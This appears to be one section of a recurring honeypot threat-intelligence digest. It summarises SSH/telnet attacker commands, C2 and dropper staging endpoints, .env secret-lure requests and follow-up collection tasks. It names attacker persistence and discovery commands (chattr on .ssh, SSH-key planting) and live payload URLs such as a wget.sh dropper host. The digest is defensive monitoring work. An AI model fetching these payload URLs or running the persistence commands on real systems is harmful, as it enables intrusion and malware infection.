Recurring commands are context: the uname -s -v -n -r -m + uname -m | awk discovery loop (1,925 + 1,923 events, example source 109.160.32.180 — the GO-SSH-SWEEP /24), the chattr -ia .ssh/lockr -ia .ssh + SSH-key-plant pair (475 + 393 events from ~120 sources, example 103.248.120.6), and the GPU-discovery pass (nvidia-smi -q | grep "Product Name", lspci | grep "3D controller", /bin/./uname; 130 events each from 2 IPs, example source 209.99.190.186 — a new example /24 for this pass, distinct from №72–№73's Techoff and 2.57.122.238 operators).

C2 / payload endpoints (frantech-ts ssh+telnet honeypot)

Single sensor (one host), not a fleet number. Built from the raw honeypot sources — session transcripts, honeypot.log, and the capture vault — because the condensed /data/hp-logs/ feed truncates commands at 160 characters and drops any dropper line whose URL sits past that offset.

Summary

• inventory: 79 endpoints on 24 hosts, 2529 command references and 646 download attempts since 2026-09-18T10:45
• served payloads: 24 distinct artifacts over HTTP 2xx from 9 hosts (143.246.56.120, 146.190.102.83, 152.42.195.115, 176.65.132.7, 176.65.139.157, 176.65.139.40, 185.228.72.128, 45.90.163.37, 5.175.192.232)
• this window: 1 endpoints first seen, 1 active; 10 endpoints seen in the last 7 days remain current
• inventory generated 2026-11-06T07:27:54Z

New this window

Endpoints active this window

Payload artifacts (HTTP 2xx, captured)

Host != actor: a staging host can also be the operator's login source (176.65.139.40 authenticates 1,224 times). Correlate on payload sha256 and script text, not on the IP.

Family note: the new endpoint http://143.246.56.120:8080/wget.sh served a 6,758-byte dropper script (sha256 bdfa24ca6abf…) to one operator at 15:03 stored — a new staging host on a port-8080 variant of the standard wget.sh/curl.sh dropper pattern; family unresolved pending script-body read (payload bodies live on the node at /root/devel/telnet-honeypot/captures/binaries/<sha256>, read-only). The №72 staging host http://5.175.192.232/bot_mips drew no further fetches; the long-lived kla.sh fetcher stayed quiet.

HoneyDB sensor layer (ch-sponge-01-ts — single sensor, not flux)

HoneyDB sensor layer — ch-sponge-01-ts

Window since 2026-11-05T07:35Z. 3409 records, 1185 sessions, 376 source addresses; event kinds: CONNECT 1185, INFO 951, RX 690, TX 583.

HoneyDB parses each interaction into structured INFO events; the pcaps behind them are in Arkime under sensor:ch-sponge-01-ts. Records older than 30 days are not retrievable from the platform API.

Top sources

INFO event classes

Lure paths requested

Credential-bearing events

Sample high-value events

• 11-05T22:53Z Docker dropper_indicators from 220.181.1.163
• 11-06T03:49Z HTTP crypto_lure_request from 195.178.110.159 — /.env
• 11-06T03:49Z HTTP crypto_lure_request from 195.178.110.159 — /.env
• 11-06T03:49Z HTTP crypto_lure_request from 195.178.110.159 — /.env.local
• 11-06T03:49Z HTTP crypto_lure_request from 195.178.110.159 — /.env.local
• 11-06T03:49Z HTTP crypto_lure_request from 195.178.110.159 — /.env.production
• 11-06T03:49Z HTTP crypto_lure_request from 195.178.110.159 — /.env.production
• 11-06T03:49Z HTTP crypto_lure_request from 195.178.110.159 — /.env.bak
• 11-06T03:49Z HTTP crypto_lure_request from 195.178.110.159 — /.env.bak

One host, so never present these as fleet numbers. Cross-layer note: the node's top source this window is 195.178.110.159 — the Techoff census operator that also ran flux legs on 7 sensors — and its 03:49Z lure pulls hit all four .env variants (8 records, doubled per variant in the event list). №73's dominant benign source 94.183.174.99 (7,342 records) is absent; volume normalized to 3,409 records. Empty classes this window: no wallet_open_attempt, transfer_attempt, exec_create, or key_exfil_attempt events (all zero in the parsed layer). The GCP 35.210.x quartet ran uniform 75-record sessions; 220.181.1.163 (Beijing Baidu) posted Docker dropper indicators.

Gaps / Next Collection

1. The 194.180.49.41 hoard. 581 credentials in 6 days are hostile-held inventory from one IP. Watch: AWS use of this specific hoard (the escalation line), a second MEVSPACE IP, and whether Tracebit-side quota or rate limits answer the mint flood — the 32×400 failures overlapped it but the causal link is unconfirmed.
2. 57.129.123.152's same-window mint→use. One credential minted 07:30 stored and worked before the window closed, with RunInstances ×4 denied. Who runs it (57.129.x is OVH-class), does the pattern repeat, and does any provisioning call ever succeed — that success is the fleet's red line.
3. SI-CENSUS's forgery arm. Does the sequential-IP + fake-CDN-header kit spread beyond this operator, and should the digest's per-IP mint tables carry a socketPeer caveat when forged clientIps mint? The digest quirk discovered this cycle (top-talker rows carrying pre-window stamps) also needs a root-cause look in flux-digest.py before anyone cites those columns for timing.
4. WP-LOGIN-BRUTE's shape split. Does the few-IP high-rate line (103.154.62.40 class) grow, does the 119-IP wide leg return, and does any POST draw a success shape from the fake WordPress? The year-indexed password list should roll to 2027 compositions when it updates.
5. OPSSH-UBUNTU-SWEEP's absence. Flagged in №72 and №73 with the three-banners-one-fingerprint question unresolved; first idle window. A return with a fourth banner supports the tool-pool read; a second idle window starts the retirement clock.
6. The new C2 staging host. Read /root/devel/telnet-honeypot/captures/binaries/bdfa24ca6abf… (6,758-byte dropper, http://143.246.56.120:8080/wget.sh) read-only to name its family; watch for the 143.246.56.x host repeating the №72 5.175.192.232 pattern (one fetch, then quiet).

Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-11-06.html
Plain language: /data/flux-logs/reports/flux-fleet-intel-briefing-plain-2026-11-06.md